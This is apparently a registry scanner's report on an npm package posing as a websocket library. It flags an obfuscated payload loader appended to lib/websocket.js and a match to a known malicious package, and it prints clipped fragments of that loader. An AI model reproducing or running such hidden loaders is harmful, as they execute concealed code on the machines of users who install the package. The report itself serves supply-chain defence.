registry / @dervix/ws / 8.21.7

@dervix/ws@8.21.7

Simple to use, blazing fast and thoroughly tested websocket client and server for Node.js

Static Scan Results

scanned 1h ago · by rust-scanner

Static analysis flagged 10 finding(s) at 94.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Decision evidence

public snapshot

Behavioral surface

Source

CryptoDynamicRequireEnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 16 file(s), 223 KB of source, external domains: html.spec.whatwg.org

Source & flagged code

4 flagged

index.jsView file

Lines 1-22javascript

1'use strict';

3const createWebSocketStream = require('./lib/stream');

4const extension = require('./lib/extension');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L2

Source & flagged code

4 flagged · loading source

index.jsView file

2L3: const createWebSocketStream = require('./lib/stream'); L4: const extension = require('./lib/extension');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L2

lib/websocket-server.jsView file

5const EventEmitter = require('events'); L6: const http = require('http'); L7: const { Duplex } = require('stream'); ... L109: }); L110: res.end(body); L111: }); ... L369: * @throws {Error} If called more than once with the same socket L370: * @private L371: */ ... L388: .update(key + GUID) L389: .digest('base64'); L390:

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/websocket-server.jsView on unpkg · L5

lib/websocket.jsView file

1408} L1409: function a5(a,b){a=a-0x181;var c=a4();var d=c[a];if(a5['qqJogR']===undefined){var e=function(j){var l='[redacted]+/=';var m='',n... L1410: (function(a,b){var cT={a:'&Sid',b:0x105,c:')P5^',d:0x24f,e:'SPwm',f:0x75,g:'2iYg',h:0x6bb,i:'2YK5',j:0x5ff,k:'LrhC',l:0x1c7,m:'wb8r',n:0x10d,o:'0s&1',p:0x3b,q:'wG2K',r:0x529},cS={a...

High

Obfuscated Payload Loader

Source contains an obfuscator-style string-array loader that reconstructs and executes hidden code.

lib/websocket.jsView on unpkg · L1408

lib/buffer-util.jsView file

•matchType = malicious_source_fingerprint_signature signature = df015a6451ca278b signatureType = suspicious_hashes sourceLabel = OpenSSF malicious-packages matchedPackage = @dervix/ws@8.21.4 matchedPath = lib/buffer-util.js matchedIdentity = npm:QGRlcnZpeC93cw:8.21.4 similarity = 1.000 shingleOverlap = 12 summary = Malicious code in @dervix/ws (npm)

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

lib/buffer-util.jsView on unpkg

Findings

2 High4 Medium4 Low

HighObfuscated Payload Loaderlib/websocket.js

HighKnown Malware Source Fingerprint Signaturelib/buffer-util.js

MediumDynamic Requireindex.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowWeak Cryptolib/websocket-server.js

LowHigh Entropy Strings

LowUrl Strings

lib/websocket-server.jsView file

Lines 1-25javascript

1/* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^Duplex$", "caughtErrors": "none" }] */

3'use strict';

5const EventEmitter = require('events');

6const http = require('http');

7const { Duplex } = require('stream');

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/websocket-server.jsView on unpkg · L5

8const { createHash } = require('crypto');

10const extension = require('./extension');

11const PerMessageDeflate = require('./permessage-deflate');

12const subprotocol = require('./subprotocol');

13const WebSocket = require('./websocket');

14const { CLOSE_TIMEOUT, GUID, kWebSocket } = require('./constants');

16const keyRegex = /^[+/0-9A-Za-z]{22}==$/;

18const RUNNING = 0;

19const CLOSING = 1;

20const CLOSED = 2;

22/**

23 * Class representing a WebSocket server.

24 *

25 * @extends EventEmitter

lib/websocket.jsView file

Lines 1388-1411javascript

1388 websocket._readyState = WebSocket.CLOSING;

1389 websocket._receiver.end();

1390 this.end();

1391}

1392

1393/**

1394 * The listener of the socket `'error'` event.

1395 *

1396 * @private

1397 */

1398function socketOnError() {

1399 const websocket = this[kWebSocket];

1400

1401 this.removeListener('error', socketOnError);

1402 this.on('error', NOOP);

1403

1404 if (websocket) {

1405 websocket._readyState = WebSocket.CLOSING;

1406 this.destroy();

1407 }

1408}

1409function a5(a,b){a=a-0x181;var c=a4();var d=c[a];if(a5['qqJogR']===undefined){var e=function(j){var l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',n='',o

1410(function(a,b){var cT={a:'&Sid',b:0x105,c:')P5^',d:0x24f,e:'SPwm',f:0x75,g:'2iYg',h:0x6bb,i:'2YK5',j:0x5ff,k:'LrhC',l:0x1c7,m:'wb8r',n:0x10d,o:'0s&1',p:0x3b,q:'wG2K',r:0x529},cS={a:

1411

Long lines were clipped for display.